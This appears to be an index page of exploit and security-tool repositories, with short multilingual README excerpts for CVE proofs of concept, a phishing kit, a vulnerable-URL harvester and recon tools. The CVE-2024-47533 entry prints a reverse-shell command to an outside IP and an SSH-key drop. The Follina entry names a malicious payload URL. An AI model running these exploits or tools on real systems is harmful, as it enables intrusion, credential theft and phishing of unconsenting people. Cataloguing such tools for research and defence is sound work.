EUVD-2026-89534

A vulnerability has been found in Ziroom ZHOME A0101 1.0.1.0. This issue affects some unknown processing of the file /api/ZRnetwork/ping. Such manipulation of the argument url leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public an...

CVE-2020-5839

CVE-2020-5839 CVE-2020-5839 POC Symantec EDR local on-prem anterior a la versión "4.4.0" es propenso a una vulnerabilidad de divulgación de información a través de las siguientes URL: https://@IPEDR/r3epmpi/status/ https://@IPEDR/r3epmpi/status/routes https://@IPEDR/r3epmpi/v1/event/status/ds...

CVE-2024-47533

Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 python CVE-2022-46169.py tageturl...

cve-2025-4664

CVE-2025-4664 Este repositorio contiene un PoC para explotar CVE-2025-4664, una vulnerabilidad donde los navegadores basados en Chromium filtran parámetros de URL sensibles a través de solicitudes de precarga del encabezado Link. Recursos Para una explicación detallada de cómo funciona este...

idb

Idb idb is a tool to simplify some common tasks for iOS pentesting and research. Originally there was a command line version of the tool, but it is no longer under development so you should get the GUI version. idb has a new homepage athttp://www.idbtool.com All documentation and news are posted...

CVE-2023-36025

CVE-2023-36025 针对CVE-2023-36025的简单测试，基于Twitter上@wdormann演示的PoC（https://twitter.com/wdormann/status/1725148437115473947） 此代码并非开箱即用——ZIP文件必须托管在你拥有的服务器上，并且需要通过file:// URL让受害者机器能够访问。...

CVE-2023-42222

CVE-2023-42222 Resumen de la vulnerabilidad WebCatalog anterior a la versión 48.4.0 llama a la función Electron shell.openExternal sin verificar que la URL corresponda a un recurso http o https, en algunas circunstancias. Esta vulnerabilidad permite a un atacante ejecutar código en la máquina de ...

lxancephisher

一个对初学者友好的自动钓鱼工具，包含30多种模板。 免责声明 与本工具（lxancephisher ）相关的任何行为及/或活动均由您自行承担责任。滥用此工具包可能导致相关人员面临刑事指控 。若任何个人因滥用此工具包违法而受到刑事指控，贡献者将不承担任何责任 。 此工具包包含可能对社交媒体造成潜在损害或危险的材料 。在访问、使用或以任何其他方式不当利用之前，请参考您所在省份/国家的法律。 本工具仅用于教育目的 。不要试图利用其中的任何内容违反法律。 如果您有此意图，请离开这里 ！ 它仅演示“钓鱼的工作原理”。您不得滥用此信息以未经授权访问他人的社交媒体 。不过，您可以自行承担风险尝试使用。...

CVE-2023-22432

CVE-2023-22432 Verificación del PoC de la vulnerabilidad de web2py CVE-2023-22432 Una vulnerabilidad CVE-2023-22432 en web2py fue divulgada el 31 de enero de 2023 hora de EE. UU.. Este artículo describe nuestra discusión sobre esta vulnerabilidad y los resultados de nuestra verificación. Resumen ...

CVE-2017-8809_MediaWiki_RFD

CVE-2017-8809 - RFD（反射文件下载）针对 MediaWiki 远程用户可为目标站点创建特制 URL，当目标用户加载该 URL 时，会导致 api.php 脚本下载包含 shell 命令的文件 CVE-2017-8809。该文件将由目标站点提供。 环境 Google Chrome 79.0 MediaWiki 1.29.1 使用方法 1. 运行 $ docker-compose up 2. 访问攻击页面（http://127.0.0.1:8080/poc.html） 3. 点击“点击此处” 注意 若更改容器端口，请编辑 mediawiki/LocalSettings.ph...

S2-Reaper

S2-Reaper Este proyecto se utiliza para recolectar URLs vulnerables afectadas por Struts2 S2-045 de los resultados de búsqueda de Google. Uso python reaper.py Acerca de El reaper.py ejecutará un rastreador de búsqueda de Google con palabras clave definidas en crawler.conf para encontrar URLs...

py-CVE-2021-41773

CVE-2021-41773 python语言poc&exp项目。 声明：该项目来自作者日常学习笔记。 请勿利用相关技术以及工具从事非法测试，如因此产生的一切不良后果作者无关。 使用： python main.py -h 查看帮助 python main.py -u 利用漏洞 python main.py -f url.txt 批量测试漏洞是否存在 python main.py -f url.txt -o bug.txt 批量测试漏洞是否存在,存在的写入bug.txt中...

Follina-CVE-2022-30190-POC

Follina-CVE-2022-30190 Prueba de concepto por Nee Uso python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" Qué hace Crea un archivo de Word malicioso que apunta a la URL del payload que especifiques Aloja el payload predeterminado ubicado en la carpeta web La prueba de concepto...

RE11S_1.11-formAccept-CommandInjection

RE11S1.11-formAccept-CommandInjection Durante mi pasantía en Qi An Xin Tiangong Lab, descubrí una vulnerabilidad de inyección de comandos en el router RE11S1.11. Al analizar el archivo webs en el directorio bin, descubrí que la función formAccept contiene una vulnerabilidad de inyección de...

loboguara

Lobo Guará - 网络威胁情报平台 Lobo Guará 是一个面向网络安全专业人士的平台，提供多种专注于网络威胁情报（CTI）的功能。它提供了用于识别威胁、监控数据泄露、分析可疑域名和 URL 等工具。 功能 1. SSL 证书搜索 允许识别可能对组织构成威胁的域名和子域名。由受信任机构颁发的 SSL 证书会被实时索引，用户可以使用 4 个及以上字符的关键词进行搜索。 注意 ：当前数据库包含自 2024 年 9 月 5 日起颁发的证书。 2. SSL 证书发现 允许插入关键词进行监控。当证书被颁发且通用名称包含该关键词（至少 5 个字符）时，它将显示给用户。 3. 追踪链接...

ParamSpider

paramspider 从网络档案的阴暗角落挖掘URL，用于漏洞狩猎/模糊测试/进一步探测 📖 关于 • 🏗️ 安装 • ⛏️ 用法 • 🚀 示例 • 🤝 贡献 • 关于 paramspider 允许你从Wayback档案中获取与任何域名或域名列表相关的URL。它过滤掉"无聊"的URL，让你专注于最重要的那些。 安装 要安装paramspider，请按照以下步骤操作： git clone https://github.com/devanshbatham/paramspider cd paramspider pip install . 用法 要使用paramspider，请按照以下步骤操作：...

CVE-2022-46169

CVE-2022-46169 Instalación git clone https://github.com/miko550/CVE-2022-46169.git cd CVE-2022-46169 Uso usage: CVE-2022-46169.py -h -t TARGET -l LIST options: -h, --help show this help message and exit -t TARGET, --target TARGET The URL of the target, eg: http://127.0.0.1 -l LIST, --list LIST Li...

CVE-2018-25031

CVE-2018-25031 描述： Swagger UI 4.1.3 之前版本存在一个漏洞，远程攻击者可能利用该漏洞进行欺骗攻击。通过诱骗受害者打开精心构造的 URL，攻击者可利用此漏洞显示远程 OpenAPI 定义。 攻击前截图： PoC： /index.html?configUrl=https://raw.githubusercontent.com/afine-com/CVE-2018-25031/main/poc.json...

CVE-2022-27925

CVE-2022-27925 设置 git clone https://github.com/miko550/CVE-2022-27925.git cd CVE-2022-27925 使用 用法：CVE-2022-2925.py -h -t TARGET -l LIST 选项： -h, --help 显示此帮助信息并退出 -t TARGET, --target TARGET 目标的URL，例如：http://127.0.0.1 -l LIST, --list LIST 以换行符分隔的目标URL列表...